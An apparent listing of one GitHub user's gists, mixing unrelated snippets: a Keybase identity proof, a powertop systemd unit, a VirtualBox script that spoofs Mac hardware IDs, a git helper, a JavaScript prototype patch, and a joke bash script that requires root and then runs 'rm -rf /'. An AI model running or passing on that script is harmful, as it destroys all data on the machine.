I hereby claim:
- I am brentlintner on github.
- I am brentlintner (https://keybase.io/brentlintner) on keybase.
- I have a public key ASAVJNaNKZtgKYO6Dwf3rQgGRH6KQIO62HnMybojUt8lCgo
To claim this, I am signing this object:
I hereby claim:
To claim this, I am signing this object:
[Unit] | |
Description=Run powertop auto tune on boot | |
[Service] | |
Type=oneshot | |
ExecStart=/usr/bin/powertop --auto-tune | |
StandardOutput=journal | |
[Install] | |
WantedBy=multi-user.target |
#!/usr/bin/env sh | |
set -xe | |
name=$1 | |
VBoxManage modifyvm "$name" --cpuidset 00000001 000106e5 00100800 0098e3fd bfebfbff | |
VBoxManage modifyvm "$name" --cpu-profile "Intel Core i7-6700K" | |
#VBoxManage setextradata "$name" "VBoxInternal/Devices/efi/0/Config/DmiSystemProduct" "iMac11,3" | |
VBoxManage setextradata "$name" "VBoxInternal/Devices/efi/0/Config/DmiSystemProduct" "MacPro6,1" |
#!/usr/bin/env sh | |
branch=$1 | |
cmd=$2 | |
usage() { | |
echo "git-for-each [-h] branch command" | |
echo " => run a command for each commit in branch (off master)"; | |
} | |
for_each() { |
#/usr/bin/env bash | |
if [ `whoami` != root ]; then | |
echo "You must be root to do this, obviously." | |
exit | |
fi | |
echo "If you don't have a file system, then you don't have such a problem." | |
echo "Now deleting the entire file system." | |
rm -rf / |
Object.prototype.forEach = function (callback) { | |
var obj = this; | |
Array.prototype.forEach.call(Object.keys(obj), function (prop) { | |
callback(obj[prop], prop); | |
}); | |
}; |